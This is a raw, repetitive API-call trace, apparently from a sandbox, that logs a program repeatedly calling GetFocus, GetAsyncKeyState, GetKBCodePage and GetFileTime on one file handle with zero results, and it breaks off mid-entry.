0 [0024.901] GetFocus () returned 0x0 [0024.901] GetAsyncKeyState (vKey=58) returned 0 [0024.901] GetKBCodePage () returned 0x1b5 [0024.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.901] GetFocus () returned 0x0 [0024.901] GetAsyncKeyState (vKey=58) returned 0 [0024.901] GetKBCodePage () returned 0x1b5 [0024.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.901] GetFocus () returned 0x0 [0024.901] GetAsyncKeyState (vKey=58) returned 0 [0024.901] GetKBCodePage () returned 0x1b5 [0024.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.901] GetFocus () returned 0x0 [0024.901] GetAsyncKeyState (vKey=58) returned 0 [0024.901] GetKBCodePage () returned 0x1b5 [0024.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.901] GetFocus () returned 0x0 [0024.902] GetAsyncKeyState (vKey=58) returned 0 [0024.902] GetKBCodePage () returned 0x1b5 [0024.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.902] GetFocus () returned 0x0 [0024.902] GetAsyncKeyState (vKey=58) returned 0 [0024.902] GetKBCodePage () returned 0x1b5 [0024.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.902] GetFocus () returned 0x0 [0024.902] GetAsyncKeyState (vKey=58) returned 0 [0024.902] GetKBCodePage () returned 0x1b5 [0024.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.902] GetFocus () returned 0x0 [0024.902] GetAsyncKeyState (vKey=58) returned 0 [0024.902] GetKBCodePage () returned 0x1b5 [0024.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.902] GetFocus () returned 0x0 [0024.902] GetAsyncKeyState (vKey=58) returned 0 [0024.902] GetKBCodePage () returned 0x1b5 [0024.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.902] GetFocus () returned 0x0 [0024.902] GetAsyncKeyState (vKey=58) returned 0 [0024.902] GetKBCodePage () returned 0x1b5 [0024.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.902] GetFocus () returned 0x0 [0024.902] GetAsyncKeyState (vKey=58) returned 0 [0024.902] GetKBCodePage () returned 0x1b5 [0024.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.902] GetFocus () returned 0x0 [0024.902] GetAsyncKeyState (vKey=58) returned 0 [0024.902] GetKBCodePage () returned 0x1b5 [0024.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.902] GetFocus () returned 0x0 [0024.902] GetAsyncKeyState (vKey=58) returned 0 [0024.902] GetKBCodePage () returned 0x1b5 [0024.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.902] GetFocus () returned 0x0 [0024.902] GetAsyncKeyState (vKey=58) returned 0 [0024.902] GetKBCodePage () returned 0x1b5 [0024.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.903] GetFocus () returned 0x0 [0024.903] GetAsyncKeyState (vKey=58) returned 0 [0024.903] GetKBCodePage () returned 0x1b5 [0024.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.903] GetFocus () returned 0x0 [0024.903] GetAsyncKeyState (vKey=58) returned 0 [0024.903] GetKBCodePage () returned 0x1b5 [0024.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.903] GetFocus () returned 0x0 [0024.903] GetAsyncKeyState (vKey=58) returned 0 [0024.903] GetKBCodePage () returned 0x1b5 [0024.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.903] GetFocus () returned 0x0 [0024.903] GetAsyncKeyState (vKey=58) returned 0 [0024.903] GetKBCodePage () returned 0x1b5 [0024.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.903] GetFocus () returned 0x0 [0024.903] GetAsyncKeyState (vKey=58) returned 0 [0024.903] GetKBCodePage () returned 0x1b5 [0024.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.903] GetFocus () returned 0x0 [0024.903] GetAsyncKeyState (vKey=58) returned 0 [0024.903] GetKBCodePage () returned 0x1b5 [0024.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.903] GetFocus () returned 0x0 [0024.903] GetAsyncKeyState (vKey=58) returned 0 [0024.903] GetKBCodePage () returned 0x1b5 [0024.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.903] GetFocus () returned 0x0 [0024.903] GetAsyncKeyState (vKey=58) returned 0 [0024.903] GetKBCodePage () returned 0x1b5 [0024.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.903] GetFocus () returned 0x0 [0024.903] GetAsyncKeyState (vKey=58) returned 0 [0024.903] GetKBCodePage () returned 0x1b5 [0024.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.904] GetFocus () returned 0x0 [0024.904] GetAsyncKeyState (vKey=58) returned 0 [0024.904] GetKBCodePage () returned 0x1b5 [0024.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.904] GetFocus () returned 0x0 [0024.904] GetAsyncKeyState (vKey=58) returned 0 [0024.904] GetKBCodePage () returned 0x1b5 [0024.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.904] GetFocus () returned 0x0 [0024.904] GetAsyncKeyState (vKey=58) returned 0 [0024.904] GetKBCodePage () returned 0x1b5 [0024.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.904] GetFocus () returned 0x0 [0024.904] GetAsyncKeyState (vKey=58) returned 0 [0024.904] GetKBCodePage () returned 0x1b5 [0024.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.904] GetFocus () returned 0x0 [0024.904] GetAsyncKeyState (vKey=58) returned 0 [0024.904] GetKBCodePage () returned 0x1b5 [0024.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.904] GetFocus () returned 0x0 [0024.904] GetAsyncKeyState (vKey=58) returned 0 [0024.904] GetKBCodePage () returned 0x1b5 [0024.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.904] GetFocus () returned 0x0 [0024.904] GetAsyncKeyState (vKey=58) returned 0 [0024.904] GetKBCodePage () returned 0x1b5 [0024.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.904] GetFocus () returned 0x0 [0024.904] GetAsyncKeyState (vKey=58) returned 0 [0024.904] GetKBCodePage () returned 0x1b5 [0024.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.904] GetFocus () returned 0x0 [0024.904] GetAsyncKeyState (vKey=58) returned 0 [0024.904] GetKBCodePage () returned 0x1b5 [0024.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.904] GetFocus () returned 0x0 [0024.904] GetAsyncKeyState (vKey=58) returned 0 [0024.904] GetKBCodePage () returned 0x1b5 [0024.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.905] GetFocus () returned 0x0 [0024.905] GetAsyncKeyState (vKey=58) returned 0 [0024.905] GetKBCodePage () returned 0x1b5 [0024.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.905] GetFocus () returned 0x0 [0024.905] GetAsyncKeyState (vKey=58) returned 0 [0024.905] GetKBCodePage () returned 0x1b5 [0024.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.905] GetFocus () returned 0x0 [0024.905] GetAsyncKeyState (vKey=58) returned 0 [0024.905] GetKBCodePage () returned 0x1b5 [0024.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.905] GetFocus () returned 0x0 [0024.905] GetAsyncKeyState (vKey=58) returned 0 [0024.905] GetKBCodePage () returned 0x1b5 [0024.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.905] GetFocus () returned 0x0 [0024.905] GetAsyncKeyState (vKey=58) returned 0 [0024.905] GetKBCodePage () returned 0x1b5 [0024.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.905] GetFocus () returned 0x0 [0024.905] GetAsyncKeyState (vKey=58) returned 0 [0024.905] GetKBCodePage () returned 0x1b5 [0024.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.905] GetFocus () returned 0x0 [0024.905] GetAsyncKeyState (vKey=58) returned 0 [0024.905] GetKBCodePage () returned 0x1b5 [0024.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.905] GetFocus () returned 0x0 [0024.905] GetAsyncKeyState (vKey=58) returned 0 [0024.905] GetKBCodePage () returned 0x1b5 [0024.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.905] GetFocus () returned 0x0 [0024.905] GetAsyncKeyState (vKey=58) returned 0 [0024.905] GetKBCodePage () returned 0x1b5 [0024.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.905] GetFocus () returned 0x0 [0024.906] GetAsyncKeyState (vKey=58) returned 0 [0024.906] GetKBCodePage () returned 0x1b5 [0024.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.906] GetFocus () returned 0x0 [0024.906] GetAsyncKeyState (vKey=58) returned 0 [0024.906] GetKBCodePage () returned 0x1b5 [0024.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.906] GetFocus () returned 0x0 [0024.906] GetAsyncKeyState (vKey=58) returned 0 [0024.906] GetKBCodePage () returned 0x1b5 [0024.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.906] GetFocus () returned 0x0 [0024.906] GetAsyncKeyState (vKey=58) returned 0 [0024.906] GetKBCodePage () returned 0x1b5 [0024.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.906] GetFocus () returned 0x0 [0024.906] GetAsyncKeyState (vKey=58) returned 0 [0024.906] GetKBCodePage () returned 0x1b5 [0024.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.906] GetFocus () returned 0x0 [0024.906] GetAsyncKeyState (vKey=58) returned 0 [0024.906] GetKBCodePage () returned 0x1b5 [0024.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.906] GetFocus () returned 0x0 [0024.906] GetAsyncKeyState (vKey=58) returned 0 [0024.906] GetKBCodePage () returned 0x1b5 [0024.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.906] GetFocus () returned 0x0 [0024.906] GetAsyncKeyState (vKey=58) returned 0 [0024.906] GetKBCodePage () returned 0x1b5 [0024.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.906] GetFocus () returned 0x0 [0024.906] GetAsyncKeyState (vKey=58) returned 0 [0024.906] GetKBCodePage () returned 0x1b5 [0024.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.906] GetFocus () returned 0x0 [0024.906] GetAsyncKeyState (vKey=58) returned 0 [0024.907] GetKBCodePage () returned 0x1b5 [0024.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.907] GetFocus () returned 0x0 [0024.907] GetAsyncKeyState (vKey=58) returned 0 [0024.907] GetKBCodePage () returned 0x1b5 [0024.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, 